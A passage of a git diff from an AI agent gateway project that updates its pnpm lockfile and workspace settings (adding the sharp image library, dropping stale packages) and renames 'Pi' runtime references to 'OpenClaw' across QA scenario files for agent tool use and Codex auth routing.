1.2.4 + optional: true + + '@img/sharp-linux-ppc64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-ppc64': 1.2.4 + optional: true + + '@img/sharp-linux-riscv64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-riscv64': 1.2.4 + optional: true + + '@img/sharp-linux-s390x@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-s390x': 1.2.4 + optional: true + + '@img/sharp-linux-x64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-x64': 1.2.4 + optional: true + + '@img/sharp-linuxmusl-arm64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linuxmusl-arm64': 1.2.4 + optional: true + + '@img/sharp-linuxmusl-x64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linuxmusl-x64': 1.2.4 + optional: true + + '@img/sharp-wasm32@0.34.5': + dependencies: + '@emnapi/runtime': 1.10.0 + optional: true + + '@img/sharp-win32-arm64@0.34.5': + optional: true + + '@img/sharp-win32-ia32@0.34.5': + optional: true + + '@img/sharp-win32-x64@0.34.5': + optional: true + '@isaacs/fs-minipass@4.0.1': dependencies: minipass: 7.1.3 @@ -8350,50 +8590,6 @@ snapshots: '@lydell/node-pty-win32-arm64': 1.2.0-beta.12 '@lydell/node-pty-win32-x64': 1.2.0-beta.12 - '@mariozechner/clipboard-darwin-arm64@0.3.6': - optional: true - - '@mariozechner/clipboard-darwin-universal@0.3.6': - optional: true - - '@mariozechner/clipboard-darwin-x64@0.3.6': - optional: true - - '@mariozechner/clipboard-linux-arm64-gnu@0.3.6': - optional: true - - '@mariozechner/clipboard-linux-arm64-musl@0.3.6': - optional: true - - '@mariozechner/clipboard-linux-riscv64-gnu@0.3.6': - optional: true - - '@mariozechner/clipboard-linux-x64-gnu@0.3.6': - optional: true - - '@mariozechner/clipboard-linux-x64-musl@0.3.6': - optional: true - - '@mariozechner/clipboard-win32-arm64-msvc@0.3.6': - optional: true - - '@mariozechner/clipboard-win32-x64-msvc@0.3.6': - optional: true - - '@mariozechner/clipboard@0.3.6': - optionalDependencies: - '@mariozechner/clipboard-darwin-arm64': 0.3.6 - '@mariozechner/clipboard-darwin-universal': 0.3.6 - '@mariozechner/clipboard-darwin-x64': 0.3.6 - '@mariozechner/clipboard-linux-arm64-gnu': 0.3.6 - '@mariozechner/clipboard-linux-arm64-musl': 0.3.6 - '@mariozechner/clipboard-linux-riscv64-gnu': 0.3.6 - '@mariozechner/clipboard-linux-x64-gnu': 0.3.6 - '@mariozechner/clipboard-linux-x64-musl': 0.3.6 - '@mariozechner/clipboard-win32-arm64-msvc': 0.3.6 - '@mariozechner/clipboard-win32-x64-msvc': 0.3.6 - optional: true - '@matrix-org/matrix-sdk-crypto-nodejs@0.4.0': dependencies: https-proxy-agent: 7.0.6 @@ -9235,13 +9431,7 @@ snapshots: '@smithy/config-resolver@4.5.3': dependencies: - '@smithy/core': 3.24.3 - tslib: 2.8.1 - - '@smithy/core@3.24.3': - dependencies: - '@aws-crypto/crc32': 5.2.0 - '@smithy/types': 4.14.2 + '@smithy/core': 3.24.4 tslib: 2.8.1 '@smithy/core@3.24.4': @@ -9252,7 +9442,7 @@ snapshots: '@smithy/credential-provider-imds@4.3.3': dependencies: - '@smithy/core': 3.24.3 + '@smithy/core': 3.24.4 '@smithy/types': 4.14.2 tslib: 2.8.1 @@ -9270,12 +9460,12 @@ snapshots: '@smithy/hash-node@4.3.3': dependencies: - '@smithy/core': 3.24.3 + '@smithy/core': 3.24.4 tslib: 2.8.1 '@smithy/invalid-dependency@4.3.3': dependencies: - '@smithy/core': 3.24.3 + '@smithy/core': 3.24.4 tslib: 2.8.1 '@smithy/is-array-buffer@2.2.0': @@ -9284,7 +9474,7 @@ snapshots: '@smithy/node-config-provider@4.4.3': dependencies: - '@smithy/core': 3.24.3 + '@smithy/core': 3.24.4 tslib: 2.8.1 '@smithy/node-http-handler@4.7.3': @@ -9293,15 +9483,9 @@ snapshots: '@smithy/types': 4.14.2 tslib: 2.8.1 - '@smithy/node-http-handler@4.7.4': - dependencies: - '@smithy/core': 3.24.4 - '@smithy/types': 4.14.2 - tslib: 2.8.1 - '@smithy/protocol-http@5.4.3': dependencies: - '@smithy/core': 3.24.3 + '@smithy/core': 3.24.4 tslib: 2.8.1 '@smithy/shared-ini-file-loader@4.5.4': @@ -9311,7 +9495,7 @@ snapshots: '@smithy/signature-v4@5.4.3': dependencies: - '@smithy/core': 3.24.3 + '@smithy/core': 3.24.4 '@smithy/types': 4.14.2 tslib: 2.8.1 @@ -9522,6 +9706,10 @@ snapshots: dependencies: '@types/node': 25.9.1 + '@types/cross-spawn@6.0.6': + dependencies: + '@types/node': 25.9.1 + '@types/debug@4.1.13': dependencies: '@types/ms': 2.1.0 @@ -9553,6 +9741,8 @@ snapshots: dependencies: '@types/unist': 3.0.3 + '@types/hosted-git-info@3.0.5': {} + '@types/http-errors@2.0.5': {} '@types/jsesc@2.5.1': {} @@ -9591,6 +9781,10 @@ snapshots: dependencies: undici-types: 7.24.6 + '@types/proper-lockfile@4.1.4': + dependencies: + '@types/retry': 0.12.0 + '@types/qs@6.15.1': {} '@types/range-parser@1.2.7': {} @@ -9846,8 +10040,6 @@ snapshots: ansi-regex@5.0.1: {} - ansi-regex@6.2.2: {} - ansi-styles@4.3.0: dependencies: color-convert: 2.0.1 @@ -9940,7 +10132,7 @@ snapshots: bail@2.0.2: {} - baileys@7.0.0-rc13(audio-decode@2.2.3): + baileys@7.0.0-rc13(audio-decode@2.2.3)(sharp@0.34.5): dependencies: '@cacheable/node-cache': 1.7.6 '@hapi/boom': 9.1.4 @@ -9955,6 +10147,7 @@ snapshots: ws: 8.21.0 optionalDependencies: audio-decode: 2.2.3 + sharp: 0.34.5 transitivePeerDependencies: - bufferutil - supports-color @@ -11842,11 +12035,6 @@ snapshots: is-inside-container: 1.0.0 wsl-utils: 0.1.0 - openai@6.26.0(ws@8.21.0)(zod@4.4.3): - optionalDependencies: - ws: 8.21.0 - zod: 4.4.3 - openai@6.39.0(ws@8.21.0)(zod@4.4.3): optionalDependencies: ws: 8.21.0 @@ -12419,6 +12607,38 @@ snapshots: setprototypeof@1.2.0: {} + sharp@0.34.5: + dependencies: + '@img/colour': 1.1.0 + detect-libc: 2.1.2 + semver: 7.8.0 + optionalDependencies: + '@img/sharp-darwin-arm64': 0.34.5 + '@img/sharp-darwin-x64': 0.34.5 + '@img/sharp-libvips-darwin-arm64': 1.2.4 + '@img/sharp-libvips-darwin-x64': 1.2.4 + '@img/sharp-libvips-linux-arm': 1.2.4 + '@img/sharp-libvips-linux-arm64': 1.2.4 + '@img/sharp-libvips-linux-ppc64': 1.2.4 + '@img/sharp-libvips-linux-riscv64': 1.2.4 + '@img/sharp-libvips-linux-s390x': 1.2.4 + '@img/sharp-libvips-linux-x64': 1.2.4 + '@img/sharp-libvips-linuxmusl-arm64': 1.2.4 + '@img/sharp-libvips-linuxmusl-x64': 1.2.4 + '@img/sharp-linux-arm': 0.34.5 + '@img/sharp-linux-arm64': 0.34.5 + '@img/sharp-linux-ppc64': 0.34.5 + '@img/sharp-linux-riscv64': 0.34.5 + '@img/sharp-linux-s390x': 0.34.5 + '@img/sharp-linux-x64': 0.34.5 + '@img/sharp-linuxmusl-arm64': 0.34.5 + '@img/sharp-linuxmusl-x64': 0.34.5 + '@img/sharp-wasm32': 0.34.5 + '@img/sharp-win32-arm64': 0.34.5 + '@img/sharp-win32-ia32': 0.34.5 + '@img/sharp-win32-x64': 0.34.5 + optional: true + shebang-command@2.0.0: dependencies: shebang-regex: 3.0.0 @@ -12579,10 +12799,6 @@ snapshots: dependencies: ansi-regex: 5.0.1 - strip-ansi@7.2.0: - dependencies: - ansi-regex: 6.2.2 - strip-final-newline@2.0.0: {} strnum@2.3.0: {} diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml index e8e310c53f2..d777a8b07e8 100644 --- a/pnpm-workspace.yaml +++ b/pnpm-workspace.yaml @@ -34,9 +34,6 @@ minimumReleaseAgeExclude: - "@aws-sdk/token-providers@3.1052.0" - "@aws-sdk/token-providers@3.1053.0" - "@copilotkit/aimock@1.27.1" - - "@earendil-works/pi-agent-core" - - "@earendil-works/pi-ai" - - "@earendil-works/pi-coding-agent" - "@earendil-works/pi-tui" - "@google/genai@2.6.0" - "@larksuiteoapi/node-sdk@1.65.0" @@ -65,17 +62,6 @@ overrides: "@anthropic-ai/sdk": 0.98.0 hono: 4.12.18 "@hono/node-server": 1.19.14 - "@aws-sdk/core": 3.974.13 - "@aws-sdk/client-bedrock-runtime": 3.1053.0 - "@aws-sdk/credential-provider-env": 3.972.39 - "@aws-sdk/credential-provider-http": 3.972.41 - "@aws-sdk/credential-provider-ini": 3.972.43 - "@aws-sdk/credential-provider-login": 3.972.43 - "@aws-sdk/credential-provider-process": 3.972.39 - "@aws-sdk/credential-provider-sso": 3.972.43 - "@aws-sdk/credential-provider-web-identity": 3.972.43 - "@aws-sdk/nested-clients": 3.997.11 - "@aws-sdk/token-providers": 3.1053.0 axios: 1.16.0 fast-uri: 3.1.2 follow-redirects: 1.16.0 @@ -113,6 +99,7 @@ allowBuilds: koffi: false node-llama-cpp: true protobufjs: true + sharp: true tree-sitter-bash: false openclaw: true "@openclaw/proxyline": true @@ -123,9 +110,6 @@ packageExtensions: peerDependenciesMeta: sharp: optional: true - "@earendil-works/pi-coding-agent": - dependencies: - strip-ansi: 7.2.0 patchedDependencies: '@agentclientprotocol/claude-agent-acp@0.37.0': patches/@agentclientprotocol__claude-agent-acp@0.37.0.patch diff --git a/qa/scenarios/agents/instruction-followthrough-repo-contract.md b/qa/scenarios/agents/instruction-followthrough-repo-contract.md index 8a7d756d298..dc998f1aa5a 100644 --- a/qa/scenarios/agents/instruction-followthrough-repo-contract.md +++ b/qa/scenarios/agents/instruction-followthrough-repo-contract.md @@ -20,7 +20,7 @@ docsRefs: - docs/channels/qa-channel.md codeRefs: - src/agents/system-prompt.ts - - src/agents/pi-embedded-runner/run/incomplete-turn.ts + - src/agents/embedded-agent-runner/run/incomplete-turn.ts - extensions/qa-lab/src/mock-openai-server.ts execution: kind: flow diff --git a/qa/scenarios/index.md b/qa/scenarios/index.md index 7c246d742e8..3528440dfc3 100644 --- a/qa/scenarios/index.md +++ b/qa/scenarios/index.md @@ -27,13 +27,13 @@ Coverage tracking: Runtime parity tiers: -- `standard`: required Codex-vs-Pi mock gate coverage for first-hour depth and +- `standard`: required Codex-vs-OpenClaw mock gate coverage for first-hour depth and default runtime-tool fixtures. OpenClaw dynamic integration tools in this tier are hard-gated by `openclaw qa coverage --tools --summary`; Codex-native workspace rows remain separately tracked until native/live behavior is the asserted surface. Rows that explicitly target searchable/deferred OpenClaw dynamic loading stay report-only unless a fixture promotes them to required. Selected with - `openclaw qa suite --runtime-pair pi,codex --runtime-parity-tier standard` + `openclaw qa suite --runtime-pair openclaw,codex --runtime-parity-tier standard` - `optional`: profile-, plugin-, or external-service-dependent runtime-tool fixtures that stay out of the default release gate - `live-only`: scenarios that need real provider/runtime behavior rather than diff --git a/qa/scenarios/models/codex-harness-no-meta-leak.md b/qa/scenarios/models/codex-harness-no-meta-leak.md index ec521640b06..eade1026379 100644 --- a/qa/scenarios/models/codex-harness-no-meta-leak.md +++ b/qa/scenarios/models/codex-harness-no-meta-leak.md @@ -72,9 +72,8 @@ steps: patch: agents: defaults: - agentRuntime: - id: - expr: config.harnessRuntime + models: + expr: "({ [env.primaryModel]: { agentRuntime: { id: config.harnessRuntime } } })" - call: waitForGatewayHealthy args: - ref: env @@ -88,10 +87,10 @@ steps: args: - ref: env - assert: - expr: "snapshot.config.agents?.defaults?.agentRuntime?.id === config.harnessRuntime" + expr: "snapshot.config.agents?.defaults?.models?.[env.primaryModel]?.agentRuntime?.id === config.harnessRuntime" message: - expr: "`expected agentRuntime.id=${config.harnessRuntime}, got ${JSON.stringify(snapshot.config.agents?.defaults?.agentRuntime)}`" - detailsExpr: "env.providerMode === 'live-frontier' ? `provider=${selected?.provider} model=${selected?.model} runtime=${snapshot.config.agents?.defaults?.agentRuntime?.id}` : `mock mode: parsed ${scenario.id}`" + expr: "`expected ${env.primaryModel} agentRuntime.id=${config.harnessRuntime}, got ${JSON.stringify(snapshot.config.agents?.defaults?.models?.[env.primaryModel]?.agentRuntime)}`" + detailsExpr: "env.providerMode === 'live-frontier' ? `provider=${selected?.provider} model=${selected?.model} runtime=${snapshot.config.agents?.defaults?.models?.[env.primaryModel]?.agentRuntime?.id}` : `mock mode: parsed ${scenario.id}`" - name: keeps codex coordination chatter out of the visible reply actions: - if: diff --git a/qa/scenarios/models/gpt55-thinking-visibility-switch.md b/qa/scenarios/models/gpt55-thinking-visibility-switch.md index 5551fc65b1d..8158d3882d0 100644 --- a/qa/scenarios/models/gpt55-thinking-visibility-switch.md +++ b/qa/scenarios/models/gpt55-thinking-visibility-switch.md @@ -23,7 +23,7 @@ docsRefs: codeRefs: - src/auto-reply/reply/directives.ts - src/auto-reply/thinking.shared.ts - - src/agents/pi-embedded-runner/run/payloads.ts + - src/agents/embedded-agent-runner/run/payloads.ts - extensions/openai/openai-provider.ts - extensions/qa-lab/src/providers/mock-openai/server.ts execution: diff --git a/qa/scenarios/runtime/approval-turn-tool-followthrough.md b/qa/scenarios/runtime/approval-turn-tool-followthrough.md index 72b001e1dc8..f0d7c8bf6c7 100644 --- a/qa/scenarios/runtime/approval-turn-tool-followthrough.md +++ b/qa/scenarios/runtime/approval-turn-tool-followthrough.md @@ -20,7 +20,7 @@ docsRefs: codeRefs: - extensions/qa-lab/src/suite.ts - extensions/qa-lab/src/mock-openai-server.ts - - src/agents/pi-embedded-runner/run/incomplete-turn.ts + - src/agents/embedded-agent-runner/run/incomplete-turn.ts execution: kind: flow summary: Verify a short approval like "ok do it" triggers immediate tool use instead of fake-progress narration. diff --git a/qa/scenarios/runtime/auth-profile-doctor-migration-safety.md b/qa/scenarios/runtime/auth-profile-doctor-migration-safety.md index 78a2c56dbc9..9b2b6790b9a 100644 --- a/qa/scenarios/runtime/auth-profile-doctor-migration-safety.md +++ b/qa/scenarios/runtime/auth-profile-doctor-migration-safety.md @@ -10,12 +10,10 @@ coverage: - runtime.doctor-repair secondary: - runtime.codex-plugin.auth -objective: Reproduce the four manual doctor-migration cells as an automated fixture matrix for Codex OAuth selection and stale Pi runtime pin removal. +objective: Reproduce the doctor-migration auth cells as an automated fixture matrix for Codex OAuth selection. successCriteria: - OAuth-only hosts select the openai-codex OAuth profile and use the Codex harness. - Mixed-profile hosts still select openai-codex OAuth when an openai API-key profile exists. - - Mixed-profile defaults-level pi runtime pins are stripped by doctor repair. - - Mixed-profile per-agent pi runtime pins are stripped by doctor repair. docsRefs: - docs/cli/doctor.md codeRefs: @@ -24,13 +22,11 @@ codeRefs: - extensions/qa-lab/src/codex-plugin-lifecycle.test.ts execution: kind: flow - summary: Exercise the four-cell doctor migration matrix against Codex auth and stale Pi runtime pins. + summary: Exercise the doctor migration matrix against Codex auth routing. config: matrixCells: - oauth-only - mixed-no-pin - - mixed-defaults-pi-pin - - mixed-main-agent-pi-pin ``` ```yaml qa-flow @@ -54,9 +50,6 @@ steps: - set: profileShape value: expr: "cell === 'oauth-only' ? 'oauth-only' : 'mixed'" - - set: doctorConfig - value: - expr: "cell === 'mixed-defaults-pi-pin' ? { agents: { defaults: { agentRuntime: { id: 'pi' } } } } : cell === 'mixed-main-agent-pi-pin' ? { agents: { list: { main: { agentRuntime: { id: 'pi' } } } } } : {}" - try: actions: - call: plugin.seedCodexPluginAt @@ -69,15 +62,11 @@ steps: - ref: tmpRoot - set: result value: - expr: "plugin.evaluateCodexPluginLifecycle({ plugin: await plugin.snapshotCodexPluginState(tmpRoot), auth: await auth.snapshotAuthProfiles(tmpRoot), hostVersion: plugin.CODEX_PLUGIN_CURRENT_VERSION, config: doctorConfig, doctorFix: true })" + expr: "plugin.evaluateCodexPluginLifecycle({ plugin: await plugin.snapshotCodexPluginState(tmpRoot), auth: await auth.snapshotAuthProfiles(tmpRoot), hostVersion: plugin.CODEX_PLUGIN_CURRENT_VERSION, doctorFix: true })" - assert: expr: "result.status === 'ready' && result.selectedAuthProfileId === auth.QA_CODEX_OAUTH_PROFILE_ID && result.tokenRoute === 'codex-oauth'" message: expr: "`doctor matrix cell ${cell} failed Codex auth routing: ${JSON.stringify(result)}`" - - assert: - expr: "(Object.keys(doctorConfig).length === 0 && result.removedRuntimePins.length === 0) || result.removedRuntimePins.includes('agentRuntime.id=pi')" - message: - expr: "`doctor matrix cell ${cell} did not report stale Pi pin cleanup: ${JSON.stringify(result)}`" finally: - call: fs.rm args: @@ -85,7 +74,7 @@ steps: - recursive: true force: true - assert: - expr: "config.matrixCells.length === 4" - message: "expected four doctor migration cells" + expr: "config.matrixCells.length === 2" + message: "expected two doctor migration cells" detailsExpr: "`cells=${config.matrixCells.join(',')}`" ``` diff --git a/qa/scenarios/runtime/codex-pi-shaped-read-vocabulary.md b/qa/scenarios/runtime/codex-legacy-read-tool-vocabulary.md similarity index 75% rename from qa/scenarios/runtime/codex-pi-shaped-read-vocabulary.md rename to qa/scenarios/runtime/codex-legacy-read-tool-vocabulary.md index c44a227bafc..55daa337b8c 100644 --- a/qa/scenarios/runtime/codex-pi-shaped-read-vocabulary.md +++ b/qa/scenarios/runtime/codex-legacy-read-tool-vocabulary.md @@ -1,8 +1,8 @@ -# Codex Pi-shaped Read vocabulary canary +# Codex legacy Read tool vocabulary canary ```yaml qa-scenario -id: codex-pi-shaped-read-vocabulary -title: Codex Pi-shaped Read vocabulary canary +id: codex-legacy-read-tool-vocabulary +title: Codex legacy Read tool vocabulary canary surface: runtime runtimeParityTier: live-only coverage: @@ -11,7 +11,7 @@ coverage: secondary: - runtime.prompt-compatibility - tools.fs.read -objective: Verify Codex-mode agents can satisfy legacy Pi-shaped "Read tool" wording through the native Codex workspace-read capability instead of stopping because duplicate OpenClaw dynamic read is intentionally filtered. +objective: Verify Codex-mode agents can satisfy legacy "Read tool" wording through the native Codex workspace-read capability instead of stopping because duplicate OpenClaw dynamic read is intentionally filtered. successCriteria: - Agent reads the seeded workspace file and replies with the exact marker line. - Agent does not claim that the Read tool is unavailable. @@ -24,11 +24,11 @@ codeRefs: - extensions/qa-lab/src/suite.ts execution: kind: flow - summary: Seed a workspace file, ask with Pi-shaped "Read tool" wording, and require Codex to complete the read through its native workspace capability. + summary: Seed a workspace file, ask with legacy "Read tool" wording, and require Codex to complete the read through its native workspace capability. config: runtimeParityComparison: codex-native-workspace - fixtureFile: PI_SHAPED_READ_FIXTURE.txt - expectedMarker: PI_SHAPED_READ_OK + fixtureFile: LEGACY_READ_TOOL_FIXTURE.txt + expectedMarker: LEGACY_READ_TOOL_OK unavailableNeedles: - not in my available tool surface - read tool is not @@ -41,7 +41,7 @@ execution: ```yaml qa-flow steps: - - name: handles Pi-shaped Read tool wording with native Codex read + - name: handles legacy Read tool wording with native Codex read actions: - call: waitForGatewayHealthy args: @@ -67,7 +67,7 @@ steps: args: - ref: env - sessionKey: - expr: "`agent:qa:pi-shaped-read:${randomUUID().slice(0, 8)}`" + expr: "`agent:qa:legacy-read:${randomUUID().slice(0, 8)}`" message: expr: "`Use the Read tool to read ${fixturePath}. Reply with the exact marker line and nothing else.`" timeoutMs: @@ -94,10 +94,10 @@ steps: - assert: expr: "normalizedOutbound.includes(normalizeLowercaseStringOrEmpty(config.expectedMarker))" message: - expr: "`Pi-shaped Read vocabulary canary did not read marker ${config.expectedMarker}; outbound=${outboundText}`" + expr: "`legacy Read vocabulary canary did not read marker ${config.expectedMarker}; outbound=${outboundText}`" - assert: expr: "!unavailableNeedles.some((needle) => normalizedOutbound.includes(needle))" message: - expr: "`Pi-shaped Read vocabulary canary stopped on unavailable Read-tool wording: ${outboundText}`" + expr: "`legacy Read vocabulary canary stopped on unavailable Read-tool wording: ${outboundText}`" detailsExpr: outbound.text ``` diff --git a/qa/scenarios/runtime/compaction-retry-mutating-tool.md b/qa/scenarios/runtime/compaction-retry-mutating-tool.md index 31702d4f67e..a0f978c3cb6 100644 --- a/qa/scenarios/runtime/compaction-retry-mutating-tool.md +++ b/qa/scenarios/runtime/compaction-retry-mutating-tool.md @@ -17,12 +17,11 @@ successCriteria: - Scenario details preserve the observed compaction count for review context. docsRefs: - docs/help/testing.md - - docs/help/gpt55-codex-agentic-parity.md codeRefs: - extensions/qa-lab/src/suite.ts - extensions/qa-lab/src/mock-openai-server.ts - - src/agents/pi-embedded-subscribe.ts - - src/agents/pi-embedded-subscribe.handlers.lifecycle.ts + - src/agents/embedded-agent-subscribe.ts + - src/agents/embedded-agent-subscribe.handlers.lifecycle.ts execution: kind: flow summary: Verify a mutating tool step keeps replay-unsafety explicit through compaction or retry pressure. diff --git a/qa/scenarios/runtime/empty-response-recovery-replay-safe-read.md b/qa/scenarios/runtime/empty-response-recovery-replay-safe-read.md index d84107c0e42..aed629ebf93 100644 --- a/qa/scenarios/runtime/empty-response-recovery-replay-safe-read.md +++ b/qa/scenarios/runtime/empty-response-recovery-replay-safe-read.md @@ -19,7 +19,7 @@ docsRefs: - docs/help/testing.md codeRefs: - extensions/qa-lab/src/mock-openai-server.ts - - src/agents/pi-embedded-runner/run/incomplete-turn.ts + - src/agents/embedded-agent-runner/run/incomplete-turn.ts execution: kind: flow summary: Verify empty OpenAI turns recover after a replay-safe read. diff --git a/qa/scenarios/runtime/empty-response-retry-budget-exhausted.md b/qa/scenarios/runtime/empty-response-retry-budget-exhausted.md index 51fa187ca83..6840cdbaf25 100644 --- a/qa/scenarios/runtime/empty-response-retry-budget-exhausted.md +++ b/qa/scenarios/runtime/empty-response-retry-budget-exhausted.md @@ -18,7 +18,7 @@ docsRefs: - docs/help/testing.md codeRefs: - extensions/qa-lab/src/mock-openai-server.ts - - src/agents/pi-embedded-runner/run/incomplete-turn.ts + - src/agents/embedded-agent-runner/run/incomplete-turn.ts execution: kind: flow summary: Verify empty-response retry exhaustion still surfaces a visible failure. diff --git a/qa/scenarios/runtime/reasoning-only-no-auto-retry-after-write.md b/qa/scenarios/runtime/reasoning-only-no-auto-retry-after-write.md index 026c55bf796..c6976884a2b 100644 --- a/qa/scenarios/runtime/reasoning-only-no-auto-retry-after-write.md +++ b/qa/scenarios/runtime/reasoning-only-no-auto-retry-after-write.md @@ -17,10 +17,9 @@ successCriteria: - Mock trace stops after the write-side reasoning-only terminal turn instead of attempting a continuation. docsRefs: - docs/help/testing.md - - docs/help/gpt55-codex-agentic-parity.md codeRefs: - extensions/qa-lab/src/mock-openai-server.ts - - src/agents/pi-embedded-runner/run/incomplete-turn.ts + - src/agents/embedded-agent-runner/run/incomplete-turn.ts execution: kind: flow summary: Verify reasoning-only turns after a write do not auto-retry. diff --git a/qa/scenarios/runtime/reasoning-only-recovery-replay-safe-read.md b/qa/scenarios/runtime/reasoning-only-recovery-replay-safe-read.md index 1696cc6cadb..f64d110f7e5 100644 --- a/qa/scenarios/runtime/reasoning-only-recovery-replay-safe-read.md +++ b/qa/scenarios/runtime/reasoning-only-recovery-replay-safe-read.md @@ -19,7 +19,7 @@ docsRefs: - docs/help/testing.md codeRefs: - extensions/qa-lab/src/mock-openai-server.ts - - src/agents/pi-embedded-runner/run/incomplete-turn.ts + - src/agents/embedded-agent-runner/run/incomplete-turn.ts execution: kind: flow summary: Verify reasoning-only OpenAI turns recover after a replay-safe read. diff --git a/qa/scenarios/runtime/streaming-final-integrity.md b/qa/scenarios/runtime/streaming-final-integrity.md index cfb24776159..57a66326737 100644 --- a/qa/scenarios/runtime/streaming-final-integrity.md +++ b/qa/scenarios/runtime/streaming-final-integrity.md @@ -20,7 +20,7 @@ docsRefs: - docs/concepts/streaming.md - docs/channels/qa-channel.md codeRefs: - - src/agents/pi-embedded-runner/run/incomplete-turn.ts + - src/agents/embedded-agent-runner/run/incomplete-turn.ts - extensions/qa-lab/src/bus-state.ts - extensions/qa-lab/src/suite-runtime-transport.ts execution: diff --git a/qa/scenarios/runtime/tools/apply-patch.md b/qa/scenarios/runtime/tools/apply-patch.md index 3ce8c3fd5f3..1b21a81a097 100644 --- a/qa/scenarios/runtime/tools/apply-patch.md +++ b/qa/scenarios/runtime/tools/apply-patch.md @@ -8,9 +8,9 @@ runtimeParityTier: standard coverage: primary: - tools.apply-patch -objective: Verify apply_patch behavior is tracked across Pi and Codex while Codex owns patching natively. +objective: Verify apply_patch behavior is tracked across OpenClaw and Codex while Codex owns patching natively. successCriteria: - - Pi may expose OpenClaw apply_patch while Codex app-server mode may omit duplicate OpenClaw dynamic apply_patch. + - OpenClaw may expose OpenClaw apply_patch while Codex app-server mode may omit duplicate OpenClaw dynamic apply_patch. - Mock provider apply_patch plans are reported as fixture intent, not as actual runtime tool calls. - The row stays report-only until fault injection uses valid patch-shaped inputs. docsRefs: diff --git a/qa/scenarios/runtime/tools/bash.md b/qa/scenarios/runtime/tools/bash.md index 4dbccd0bd46..887e0d21e15 100644 --- a/qa/scenarios/runtime/tools/bash.md +++ b/qa/scenarios/runtime/tools/bash.md @@ -8,15 +8,15 @@ runtimeParityTier: standard coverage: primary: - tools.bash -objective: Verify shell command behavior is tracked across Pi and Codex while Codex owns exec/process natively. +objective: Verify shell command behavior is tracked across OpenClaw and Codex while Codex owns exec/process natively. successCriteria: - - Pi may expose OpenClaw exec while Codex app-server mode may omit duplicate OpenClaw dynamic exec/process. + - OpenClaw may expose OpenClaw exec while Codex app-server mode may omit duplicate OpenClaw dynamic exec/process. - Mock provider exec plans are reported as fixture intent, not as actual runtime tool calls. - The row stays report-only until the fixture validates native Codex command behavior directly. docsRefs: - qa/scenarios/index.md codeRefs: - - src/agents/pi-tools.ts + - src/agents/agent-tools.ts - src/agents/bash-tools.schemas.ts - extensions/qa-lab/src/runtime-tool-fixture.ts execution: diff --git a/qa/scenarios/runtime/tools/edit.md b/qa/scenarios/runtime/tools/edit.md index bdecb0ed852..caaa5900cb9 100644 --- a/qa/scenarios/runtime/tools/edit.md +++ b/qa/scenarios/runtime/tools/edit.md @@ -8,15 +8,15 @@ runtimeParityTier: standard coverage: primary: - tools.edit -objective: Verify targeted edit behavior is tracked across Pi and Codex while Codex owns edit natively. +objective: Verify targeted edit behavior is tracked across OpenClaw and Codex while Codex owns edit natively. successCriteria: - - Pi may expose OpenClaw edit while Codex app-server mode may omit duplicate OpenClaw dynamic edit. + - OpenClaw may expose OpenClaw edit while Codex app-server mode may omit duplicate OpenClaw dynamic edit. - Mock provider edit plans are reported as fixture intent, not as actual runtime tool calls. - The row stays report-only until the fixture validates native Codex edit behavior directly. docsRefs: - qa/scenarios/index.md codeRefs: - - src/agents/pi-tools.ts + - src/agents/agent-tools.ts - extensions/qa-lab/src/runtime-tool-fixture.ts execution: kind: flow diff --git a/qa/scenarios/runtime/tools/exec.md b/qa/scenarios/runtime/tools/exec.md index 1248ca4b544..c7e0d557393 100644 --- a/qa/scenarios/runtime/tools/exec.md +++ b/qa/scenarios/runtime/tools/exec.md @@ -8,9 +8,9 @@ runtimeParityTier: standard coverage: primary: - tools.exec -objective: Verify command execution behavior is tracked across Pi and Codex while Codex owns exec/process natively. +objective: Verify command execution behavior is tracked across OpenClaw and Codex while Codex owns exec/process natively. successCriteria: - - Pi may expose OpenClaw exec while Codex app-server mode may omit duplicate OpenClaw dynamic exec/process. + - OpenClaw may expose OpenClaw exec while Codex app-server mode may omit duplicate OpenClaw dynamic exec/process. - Mock provider exec plans are reported as fixture intent, not as actual runtime tool calls. - The row stays report-only until the fixture validates native Codex command behavior directly. docsRefs: diff --git a/qa/scenarios/runtime/tools/fs-list.md b/qa/scenarios/runtime/tools/fs-list.md index 6827ecadf3b..ce8629841fc 100644 --- a/qa/scenarios/runtime/tools/fs-list.md +++ b/qa/scenarios/runtime/tools/fs-list.md @@ -10,13 +10,13 @@ coverage: - tools.fs.list objective: Verify directory inspection behavior is tracked through read while Codex owns file inspection natively. successCriteria: - - Pi may expose OpenClaw read while Codex app-server mode may omit duplicate OpenClaw dynamic read. + - OpenClaw may expose OpenClaw read while Codex app-server mode may omit duplicate OpenClaw dynamic read. - Mock provider read plans are reported as fixture intent, not as actual runtime tool calls. - The row stays report-only until directory fault injection proves native Codex read behavior directly. docsRefs: - qa/scenarios/index.md codeRefs: - - src/agents/pi-tools.read.ts + - src/agents/agent-tools.read.ts - extensions/qa-lab/src/runtime-tool-fixture.ts execution: kind: flow diff --git a/qa/scenarios/runtime/tools/fs-read.md b/qa/scenarios/runtime/tools/fs-read.md index 24d2ca03c1a..d1055b6b099 100644 --- a/qa/scenarios/runtime/tools/fs-read.md +++ b/qa/scenarios/runtime/tools/fs-read.md @@ -8,15 +8,15 @@ runtimeParityTier: standard coverage: primary: - tools.fs.read -objective: Verify file read behavior is tracked across Pi and Codex while Codex owns read natively. +objective: Verify file read behavior is tracked across OpenClaw and Codex while Codex owns read natively. successCriteria: - - Pi may expose OpenClaw read while Codex app-server mode may omit duplicate OpenClaw dynamic read. + - OpenClaw may expose OpenClaw read while Codex app-server mode may omit duplicate OpenClaw dynamic read. - Mock provider read plans are reported as fixture intent, not as actual runtime tool calls. - The row stays report-only until failure-path injection proves native Codex read behavior directly. docsRefs: - qa/scenarios/index.md codeRefs: - - src/agents/pi-tools.read.ts + - src/agents/agent-tools.read.ts - extensions/qa-lab/src/runtime-tool-fixture.ts execution: kind: flow diff --git a/qa/scenarios/runtime/tools/fs-write.md b/qa/scenarios/runtime/tools/fs-write.md index e53d0d410c8..654ce7cce42 100644 --- a/qa/scenarios/runtime/tools/fs-write.md +++ b/qa/scenarios/runtime/tools/fs-write.md @@ -8,15 +8,15 @@ runtimeParityTier: standard coverage: primary: - tools.fs.write -objective: Verify file write behavior is tracked across Pi and Codex while 